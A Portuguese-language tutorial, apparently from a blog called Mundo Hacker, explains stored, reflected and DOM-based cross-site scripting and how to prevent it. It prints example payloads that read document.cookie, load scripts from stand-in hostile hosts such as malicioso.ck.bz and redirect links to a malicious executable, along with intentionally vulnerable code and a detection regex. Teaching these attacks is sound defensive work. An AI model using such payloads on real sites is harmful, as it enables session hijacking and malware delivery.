BY : MUNDO HACKER

Sumário: Afinal, o que é o Cross-site Scripting?

O ataque de Cross-site scripting (XSS)
consiste em uma vulnerabilidade causada pela falha nas validações dos parâmetros de entrada do usuário e resposta do servidor na
aplicação web. Este ataque permite que código HTML seja inserido de maneira arbitrária no navegador do usuário alvo.

Tecnicamente, este problema ocorre quando
um parâmetro de entrada do usuário é apresentado integralmente pelo navegador, como no caso de um código javascript que
passa a ser interpretado como parte da aplicação legítima e com acesso a todas as entidades do documento (DOM). Na prática,
o responsável pelo ataque executar instruções no navegador da vítima usando um aplicativo web vulnerável, modificar
estruturas do documento HTML e até mesmo utilizar o golpe para perpetrar fraudes como phishing.

Um bom exemplo é uma aplicação
como um fórum, em que o usuário tenha permissão para incluir mensagens de sua própria autoria para que os outros usuários possam ler.
Se este aplicativo não filtrar corretamente os códigos HTML, um usuário mal intencionado pode injetar instruções para leitura
de informações específicas do usuário legítimo, tais como códigos de sessão, e até mesmo executar tarefas específicas
como enviar mensagens de maneira arbitrária para o fórum.

Tipos conhecidos de XSS

• Persistente (Stored)

Neste caso específico, o código malicioso
pode ser permanentemente armazenado no servidor web/aplicação, como em um banco de dados, fórum, campo de comentários etc.
O usuário torna-se vítima ao acessar a área afetada pelo armazenamento do código mal intencionado.

Esse tipo de XSS são geralmente mais
significativos do que outros, uma vez que um usuário mal intencionado pode potencialmente atingir um grande número usuários
apenas com uma ação específica e facilitar o processo de engenharia social. Em alguns casos, o navegador afetado pode até mesmo
se comportar como se estivesse infectado por um worm, replicando cópias para cada usuário que execute o código mal intencionado.

Exemplo de XSS persistente:

Vamos supor que exista uma aplicação web que permita a
inserção de código HTML integralmente nos campos de entrada do nome e sobrenome no formulário para atualização das
preferências do usuário:

<script>alert(document.cookie)</script>

Desta forma, quando for executada uma busca pelos
usuários cadastrados, o código HTML acima será executado assim que o usuário aparecer na relação dos resultados da busca.

Variações deste ataque podem ser utilizadas para
permitir que o usuário mal intencionado modifique o código arbitrário de acordo com o tipo de requisição ou cliente
infectado, utilizando, por exemplo, uma referência a um script remoto:

<A HREF="http://confiavel.org.br/busca.cgi?CC=
<SCRIPT SRC='http://malicioso.ck.bz/badguy.js'></SCRIPT>">
 Vá para Confiável.org.br</A>

Neste exemplo, o site confiável
não possui filtros apropriados para proteger-se da inserção do código HTML que faz referência ao script malicioso:

echo ‘<h1>Seu termo de
  busca é : ’ + getParameter(‘CC’) + ‘</h1>’;

O código HTML executado no navegador do usuário alvo
resultaria na carga arbitrária de um script estranho à aplicação e contendo quaisquer tipos de instruções que o usuário
mal intencionado deseje:

<h1>Seu termo de busca 
 é <SCRIPT SRC='http://malicioso.ck.bz/badguy.js'></SCRIPT></h1>

• Refletido (Reflected)

A exploração dessa vulnerabilidade envolve
a elaboração de uma solicitação com código a ser inserido embutido e refletido para o usuário alvo que faz a solicitação. O
código HTML inserido é entregue para aplicação e devolvido como parte integrante do código de resposta, permitindo que seja
executado de maneira arbitrária pelo navegador do próprio usuário.

Este ataque geralmente é executado por meio
de engenharia social, convencendo o usuário alvo que a requisição a ser realizada é legítima. As consequencias variam de
acordo com a natureza da vulnerabilidade, podendo variar do sequestro de sessões válidas no sistema, roubo de credenciais ou
realização de atividades arbitrárias em nome do usuário afetado.

Exemplo de XSS refletido:

Tome-se como exemplo um aplicativo web
que receba um parâmetro “nome” contendo a identificação do usuário legítimo e apresente o conteúdo sem quaisquer filtros:

http://www.vul.site/welcome.html?name=fulano

echo ‘<h1>Olá usuário ‘ + getParameter(‘name’) + ‘</h1>';

Considere que um usuário mal intecionado altere
o atalho para incluir um código arbitrário a ser executado no navegador do usuário alvo:

http://www.example.com/
welcome.html?name=<script>alert(document.cookie)</script>

Se um usuário legítimo e com acesso ao aplicativo
vulnerável realizar a requisição acima, o código javascript ‘alert(document.cookie)’ será executado sem ressalvas no
navegador do usuário alvo.

Outros exemplos de ataque podem incluir
a substituição de todos os links válidos do aplicativo web pode um referência a um arquivo executável contendo
um vírus ou um cavalo de tróia:

http://www.example.com/welcome.html?name=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>

Efeito do ataque:

Este tipo de ataque responde
por aproximadamente 75% das vulnerabilidades de XSS que afetam aplicativos web na Internet.

• Baseados no DOM (DOM based)

O Document object Model (DOM) é o
padrão utilizado para interpretar o código HTML em objetos a serem executados pelos navegadores web. O ataque de XSS baseado no
DOM permite a modificação de propriedades destes objetos diretamente no navegador do usuário alvo, não dependendo de nenhum
interação por parte do servidor que hospeda o aplicativo web.

Diferentemente do ataque de XSS
persistente ou refletido, o ataque baseado em DOM não necessita de interações diretas com o aplicativo web e utiliza-se de
vulnerabilidades existentes na interpretação do código HTML no ambiente do navegador do usuário alvo.

Exemplo de XSS baseado em DOM:

Tome-se como exemplo um aplicativo que contém um
javascript que escolhe o tipo de estilo a ser utilizado de acordo com o parâmetro passado pelo usuário:

<script>
var estilo = ‘style’ + location.hash + ‘.css’;
document.write(‘<link rel="stylesheet" type="text/css" href=”’ + estilo + ’" />’);
</script>

Agora tome-se como exemplo um link
construído de maneira a carregar um código arbitrário, conforme exemplo abaixo:

http://vitima.com/teste.html#><script src=”http://bad/bad.js”></script>

Quando executado no navegador do usuário, a
referência acima será utilizada para inserir um script mal intencionado no contexto do aplicativo web, sem o conhecimento
do aplicativo web afetado (pelo lado do servidor).

Qual o impacto e as principais
consequências do ataque?

Os ataques de XSS são frequentemente
utilizados para causar danos aos usuários legítimos de um aplicativo vulnerável. Para a corporação, o impacto da
vulnerabilidade de XSS é principalmente sua imagem e a possibilidade de utilização da falha para a distribuição de
phishing e facilitação de fraudes.

Dentre as principais consequências
para o usuário afetado, incluem:

• Seqüestro de sessão de usuários;


• Alteração do código HTML do
  aplicativo (visivel somente do lado do cliente);
• Redirecionar o usuário para
  sites maliciosos;
• Alteração do objeto DOM para
  captura de dados ou envio de malware.

Como evitar ataques de XSS?

Você deve se assegurar que todas as entradas de
dados do usuário não são confiáveis. Todos dados de usuário a serem utilizados para construção do contexto HTML
(corpo, atributo, JavaScript, CSS ou URL) devem ser verificados para
assegurar que não contenham nenhum conteúdo ativo (JavaScript, ActiveX, Flash, Silverlight, etc) e que sejam codificados de maneira apropriada, por exemplo, transformando metacaracteres
em códigos de escape HTML.

Uma boa referência para apoiar a filtragem
de dados é o
dicionário de ataques XSS fornecido pelo OWASP:

Por outro lado, os ataques de XSS
também podem ser evitados pela implementação de um filtro de aplicações web, mais conhecido como Web Application Firewall,
e também por meio de mecanismos de prevenção que estão embutidos em navegadores modernos.

Exemplo de
filtro utilizando o Apache

Utilizando-se do módulo
rewrite do Apache, as URL podem ser avaliadas de acordo
com uma expressão regular para determinar a presença de metacaracteres
nos dados recebidos do usuário. Por exemplo, a seguinte expressão regular pode ser usada para detectar caracteres alfanuméricos entre as
tags ou barras:

/((\%3C)|<)
 ((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i

Exemplo de correção para códigos vulneráveis:

Este é um exemplo de código em ASP.NET (v1.1) vulnerável, cuja
função é de pesquisa e retorno dos dados enviados pelo usuário:

‘ SearchResult.aspx.vb

Imports System

Imports System.Web

Imports System.Web.UI

Imports System.Web.UI.WebControls

Public Class SearchPage Inherits System.Web.UI.Page

Protected txtInput As TextBox

Protected cmdSearch As Button

Protected lblResult As Label Protected

Sub cmdSearch _Click(Source As Object, _ e As EventArgs)

// Do Search…..

    // …………

lblResult.Text=”You Searched for: ” & txtInput.Text

// Display Search Results…..

// …………

End Sub

End Class

Para remover a falha e mitigar a vulnerabilidade,
se faz necessário incluir uma validação dos dados de entrada
do usuário por meio da inserção de um “filtro” que evite que
códigos HTML sejam expostos explicitamente sem uma
codificação apropriada:.

Response.Write Server.HtmlEncode(inputTxt.Text)